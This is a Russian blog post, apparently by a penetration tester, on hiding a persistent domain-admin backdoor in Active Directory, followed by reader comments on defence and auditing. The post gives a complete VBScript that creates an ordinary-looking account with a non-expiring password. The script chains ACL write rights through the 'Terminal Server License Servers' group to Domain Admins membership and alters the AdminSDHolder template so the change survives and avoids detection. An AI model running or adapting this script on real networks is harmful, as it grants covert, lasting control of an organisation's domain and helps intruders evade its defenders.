Backdoor в Active Directory

В свое время, менее года назад, на хабре мелькала публикация с аналогичным заголовком [1]. В ней автор предлагал способ по сокрытию привилегий администратора домена путем использования в качестве контейнера, для размещения «скрытой» учетной записи, служебное хранилище «Program data», в совокупностью с агрессивным разграничением прав с целью предотвращения доступа к «спрятанной» учетной записи. Однако, несмотря на заверения автора, обнаружение «скрытой» учетной записи и ее последующее удаление можно было выполнить всего в несколько кликов.

1. Обнаружение и беспрепятственное удаление учетной записи

2. Удаление следов из каталога Active Directory.

Т.е. предложенный подход на практике будет не работоспособен. Но может быть существует более подходящая альтернатива этому способу (в том числе без использования руткитов на контроллерах домена:))?

В силу того, что моя деятельность напрямую связана с проведением тестирований на проникновение, этот вопрос некоторое время крутился у меня в голове. И крутился до того, момента пока не потребовалось в одной из проводимых мною работ оставаться незамеченным на протяжении продолжительного времени, при этом оставаясь и администратором предприятия и выполняя условие по минимизации воздействия на информационную систему.

Как говорил один известный писатель детективных романов:
— Где лучше всего спрятать лист?
— В осеннем лесу!
— Где лучше всего спрятать камень?
— На морском берегу!
— А где лучше всего спрятать труп?
— На поле сражения.

Проводя параллель с каталогом домена можно придерживаться следующей стратегии:

— Идентификатор backdoor лучше не прятать, а держать в одном контейнере с большим скоплением других идентификаторов пользователей. При этом создаваемый идентификатор должен быть максимально похож на самую обычную корпоративную учетную запись.

— Идентификатор backdoor не должен непосредственно являться членом групп с расширенными привилегиями в домене. Для этого лучше использовать возможности контроля доступа, как показано на картинке ниже.

— Не совсем разумно «светить» идентификатор backdoor пользователя даже в списках контроля доступа у групп с расширенными привилегиями в домене. Более разумный подход – расширение привилегий группам безопасности, которые уже являются участниками ACLs в списках контроля доступа у групп с расширенными привилегиями в домене. Для этих целей удачно подходит группа «BuiltinTerminal Server License Servers»:

Итак, для эффективного создания бэкдора, по описанному сценарию выше, требуется:

1. Завести неприметного пользователя;
2. Разрешить этому пользователю изменять список участников группы «BuiltinTerminal Server License Servers»;
3. Разрешить группе «BuiltinTerminal Server License Servers» изменять список участников группы, например, «Domain Admins».

Тут стоит отметить небольшой нюанс. Просто так изменить список контроля доступа для группы «Domain Admins» не получится. Дело в том, что в архитектуре Active Directory предусмотрена защита списков контроля доступа наиболее чувствительных объектов (adminSDHolder, [2]), в их числе:

— Enterprise Admins
— Schema Admins
— Domain Admins
— Administrators
— Domain Controllers
— Cert Publishers
— Backup Operators
— Replicator Server Operators
— Account Operators
— Print Operators

Для того чтобы вносимые изменения в список контроля доступа перечисленных выше групп не перезаписывались каждый час, требуется либо изменить шаблонный список контроля доступа на объекте «CN=AdminSDHolder,CN=System, », либо установить атрибут «adminCount» в ноль для требуемого объекта [3]. Перезаписать шаблонный список контроля доступа видится мне более перспективным т.к. не каждый администратор знаком с подобным «защитным» механизмом Active Directory.

Для автоматизации «закладки» в Active Directory может использоваться сценарий, который приведен ниже.

On Error Resume Next

' Имя и пароль пользователя
username = "PT"
password = "P@ssw0rd"

' Организационная единица, в которой будет создан пользователь
userDN = "cn=Users"

' Группа, которая уже содержится в ACLs группы Domain Admins
joinGroupDN = "cn=Terminal Server License Servers, cn=Builtin"
joinGroup = "BUILTINTerminal Server License Servers"

' Группа администраторов
adminsGroup = "CN=Domain Admins,CN=Users"

Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
Set objSysInfo = CreateObject("ADSystemInfo")
strUserDN = objSysInfo.userName
Set objUser = GetObject("LDAP://" & strUserDN)

Set objRoot = GetObject("LDAP://rootDSE")
Set objContainer = GetObject("LDAP://" & userDN & "," & objRoot.Get("defaultNamingContext"))

' Создаем пользователя
Set objUserCreate = objContainer.Create("User", "cn=" & username)
objUserCreate.Put "sAMAccountName", username
objUserCreate.SetInfo
On Error Resume Next

' Устанавливаем пароль, который будет жить вечно ;)
objUserCreate.SetPassword password
objUserCreate.Put "userAccountControl", 66048
objUserCreate.SetInfo
On Error Resume Next

' Разрешаем созданному пользователю изменять список участников группы Terminal Server License Servers
GroupAddAce joinGroupDN,username

' Разрешаем членам группы Terminal Server License Servers изменять список участников группы Domain Admins
GroupAddAce adminsGroup,joinGroup

' Меняем "защитный" шаблон безопасности ACL на аналогичное разрешение выше
GroupAddAce "CN=AdminSDHolder,CN=System",joinGroup

Function GroupAddAce(toGroup,forGroup)
Dim objSdUtil, objSD, objDACL, objAce
Set objGroup = GetObject ("LDAP://" & toGroup & "," & objRoot.Get("defaultNamingContext"))

Set objSdUtil = GetObject(objGroup.ADsPath)
Set objSD = objSdUtil.Get("ntSecurityDescriptor")
Set objDACL = objSD.DiscretionaryACL
Set objAce = CreateObject("AccessControlEntry")

objAce.Trustee = forGroup
objAce.AceFlags = 0
objAce.AceType = 5
objAce.AccessMask = 32
objAce.Flags = 1
objAce.ObjectType = "{BF9679C0-0DE6-11D0-A285-00AA003049E2}"
objDacl.AddAce objAce

objSD.DiscretionaryAcl = objDacl
objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
objSDUtil.SetInfo

End Function


Стоит лишь добавить, что, несмотря на свою простоту, обнаружить подобную закладку без средств непрерывного автоматизированного контроля довольно сложно. А развивая идею можно подумать в сторону и более сложных закладок, например, разрешить пользователю управлять групповыми политиками для OU, содержащего контроллеры домена и т.п.

КАМЕНТЫ:

Чтобы сделать подобное, уже надо обладать привилегиями. В маленьких компаниях просто делается выгрузка привилегий и смотрится, что и как. Это не долго и легко находится. А в крупных компаниях за действиями админа стоит (как например, в одном из наших проектов) служба безопасности, у которой свой сервер аудита, куда админ не может зайти и которая следит за его действиями. Более того, пароль админа домена не знают от и до никто из персонала. Им делегированы права на выполнение определенных действий и не более того. Для привилегированного режима требуется три человека, из которых каждый знает лишь кусок пароля.
Вот и все.
Так что это не блекдор, на мой взгляд, а обычная халатность, которая пройдет лишь там, где в сети нечего брать. В конце концов, сброс паролей для всех учеток спасет от подобных глупостей. Мне так кажется.

----------------------------------

Могу Вас заверить, что халатность в крупных компаниях встречается сплошь и рядом. Потому не стоит быть слишком уверенным в том, что реализованные механизмы защиты действительно работают.
>> Для привилегированного режима требуется три человека, из которых каждый знает лишь кусок пароля.
Бесспорно — это хороший подход! Но возникает вопрос, действительно ли все так хорошо? Как реализовано обслуживание контроллеров такого домена? Я говорю про управление обновлениями, конфигурациями, антивирусной защитой, мощностями, резервным копированием и пр.
Из недавней практики. В корневом домене используется подобная практика. Вместе с тем усложнение доступа к обслуживанию контроллеров домена привело к тому, что на них не установлены обновления MS08-067. И это конец 2009 года в очень крупной компании.
>> В конце концов, сброс паролей для всех учеток спасет от подобных глупостей.
Кстати, история из жизни для размышления, по поводу сброса паролей. Какова стоимость и за какое время будет произведена смена паролей для 65.000 учетных записей домена? :)

---------------------------------

1. во многодоменной структуре корневой домен обязан быть пустым. Это основа безопасности. Т.е. там вообще быть никого, кроме админа, не должно. Про пароль админа я уже высказался
2. антивирусы на контроллере домена? С точки зрения безопасности сервера должны быть вынесены в отдельный физический сегмент сети и отделены маршрутизатором с настроенными правилами фильтрации (если надо). таким образом вирус не пройдет дальше бродкаст домена юзеров, если произошло заражение неизвестным гадом
3. резервное копирование и т.п. должно быть четко задокументировано. Вот этим абсолютно пренебрегают все средние компании. Живет себе админ, все в голове держит. Потом испарился и все, туши свет. Так вот. Делать резервное копирование и иметь доступ к резервным копиям — далеко не одно и тоже. Мы в свое время внедряли систему, которая интегрировалась с БСК и были, например, такие условия: нельзя логиниться на ПК, если не вошел в помещение. Т.е. как бы вы за консоль ПК не попали, он не примет ваш пароль, если ваша карта не была приложена к датчику входа в помещение, где он расположен.
4. стоимость смены 65.000 паролей велика, тут спорить не буду. Но мы должны так же оценить потенциальные риски их несмены. И не будет ли цена последнего выше? ;)

В общем, я на своем опыте подтвержу ваши слова, что халатность есть и иной раз в колоссальных объемах. Но если компания не проводит аудит безопасности, не интересуется ценой простоя и тем более ценой потерь, то разве AD в этом виновато? :) Как говорят мои сисадмины «техника ломается, но чтобы окончательно ее испортить, нужен человек»

http://habrahabr.ru/blogs/infosecurity/114600/#habracut

Обновлено: 11.03.2015